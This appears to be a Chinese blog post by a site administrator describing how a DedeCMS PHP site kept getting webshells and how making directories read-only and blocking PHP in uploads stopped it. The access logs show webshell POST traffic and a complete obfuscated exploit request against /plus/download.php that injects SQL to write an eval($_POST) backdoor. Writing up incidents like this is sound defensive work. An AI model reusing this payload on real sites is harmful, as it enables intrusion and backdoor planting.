当了一回网管,见识了一下php的挂码方法

当了一回网管

好长时间都没有更新博客了。这回也来写一把非研发的东西。

问题

起因是有一台有固定IP地址的web服务器,然后装的是windows版的。服务器上跑的是一个php的动态站点。后台用的是dedecms做为建站系统。但是最近以来。这个站点一直被挂马。倒底是windows服务器被攻破,还是网站被人上传了恶意的木马?不得而知。每回把服务器重新恢复,没过一段时间,又会被挂马,在首页最下端出现了“百度联盟”,还有其它的一些链接。倒底是不是百度官方主导的挂马,到现在不得而知,因为查了百度联盟的一些联系方式,没有投诉之类的渠道。而且网站被挂马,在天朝来说,打电话报警是根本没用的。只有自己想办法解决了。

装了一台linux服务器。用apache来管理这个php动态网站,为了统一ftp及apache的用户权限,我把ftp的虚拟用户设置成了www-data。另外,我手上有root权限,可以看到主机上所有的相关信息。开始没给apache做任何防护,只是建立了虚拟主机。结果很干脆,这个站又被挂马了。

现在涉及的可能攻破的入口有三个方向。
1. linux的ssh被拿下(但是我是ubuntu服务器,默认是不开root用户的,而且具有sudo权限的用户我起了一个十分奇怪的名字),拿到ssh的可能性很小。
2. ftp被拿下(新建的ftp)。
3. php上出现了代码漏洞。

于是我在服务器上查看了ssh登录的历史记录,所有登录都是正常情况,又查过ftp登录,也完全是正常的ip登录。最后肯定的是php代码出现了问题。现在首要做的,就是还原是如何被挂马的。

首先在apache的虚拟站点的目录中加上日志。然后在apache的虚拟站点配转置里加了:

ErrorLog ${APACHE_LOG_DIR}/error-web.log
CustomLog ${APACHE_LOG_DIR}/access-web.log combined

然后恢复站点。然后再看挂马的如何操作。
果然,新一轮的挂马又开始了。

223.73.99.112 - - [16/Oct/2015:12:53:33 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 500 185 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:35 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 500 185 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:36 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 500 185 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:37 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 380 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
123.125.71.79 - - [16/Oct/2015:12:53:42 +0800] "GET /jh/10153125.html HTTP/1.1" 404 476 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:42 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 209 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:42 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 210 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:42 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 210 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:42 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 210 "http://www.xxx.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"
223.73.99.112 - - [16/Oct/2015:12:53:42 +0800] "POST /a/gangshaohuang.php HTTP/1.1" 200 210 "http://www.xxxm.cn" "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"

攻击者的ip地址。上传的木马一清二楚的。而且上传的木马就是有一个_POST通道。然后再依据上传的木马传送其它文件并且修改文件,甚至查看站点的所有信息。
类似这个网页的介绍。
但是现在知道是php木马了。但是这个木马是如何产生的,现在仍然不清楚。但是能估计到,他是利用上传文件的php文件,在参数中加入了逃过检查的字符,最终在网站上生成木马的。
即然是由于写权限引起的问题。那好,我把写权限去掉。
于是在整个站点。把网站自动产生cache的目录移到站外,然后在php中的data目录下,写了绝对路径。站内所有的文件都是只读的。这回看看他如何上传?
果然,经过这些修改。攻击者失去了网站上的写权限,无法生成文件了。即使php代码上,上传有漏洞。也没有办法了。
现在又有另外一个问题了。限制了挂马的人,也同时限制了网站管理员通过后台传文件了。怎么破?

把data相关的文件夹移到站外目录后,现在管理员上传文件,一部分是写到数据库中,图片文件是写到了网站的上传目录下。通过.htaccess做一些限制。

<FilesMatch .(htaccess|htpasswd|ini|php|fla|psd|log|sh)$>  
Order Allow,Deny 
Deny from all 
</FilesMatch>

限制所有的用户浏览上传文件中的php文件,还有.ht打头的文件。这样,即使他有本事,把木马生成在了上传目录下,也没有办法去执行木马了。
除了上传文件夹可写。其它的目录都设为只读。这样,站点内的其它目录,攻击者也无法上传木马了。
这样的话,ftp的用户也没有上传权限了。但是对于动态站点。做ftp的上传和下载的的次数并不多。如果涉及到。可以用root权限改一下。
如果php的动态站点可以被挂马,不妨按我说的这种方法做一下试验。可以在不修改php代码的情况下。增强一下网站的安全。
另外。我昨天又查了一下apache的事件日志。利用uplad方法上传php木马的代码终于出来了。不过由于网站没写权限,他失败了。

116.28.181.229 - - [17/Oct/2015:09:40:11 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=53&arrs2[]=53&arrs2[]=53&arrs2[]=49&arrs2[]=53&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=115&arrs2[]=118&arrs2[]=105&arrs2[]=112&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=105&arrs2[]=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=86&arrs2[]=73&arrs2[]=80&arrs2[]=50&arrs2[]=46&arrs2[]=49&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96 HTTP/1.1" 200 241 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

参数后面这一段,就是上传的木马了。

这种办法是我自己有root权限。但是如果没root权限的情况下,怎么防止挂马?有没有其它办法?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值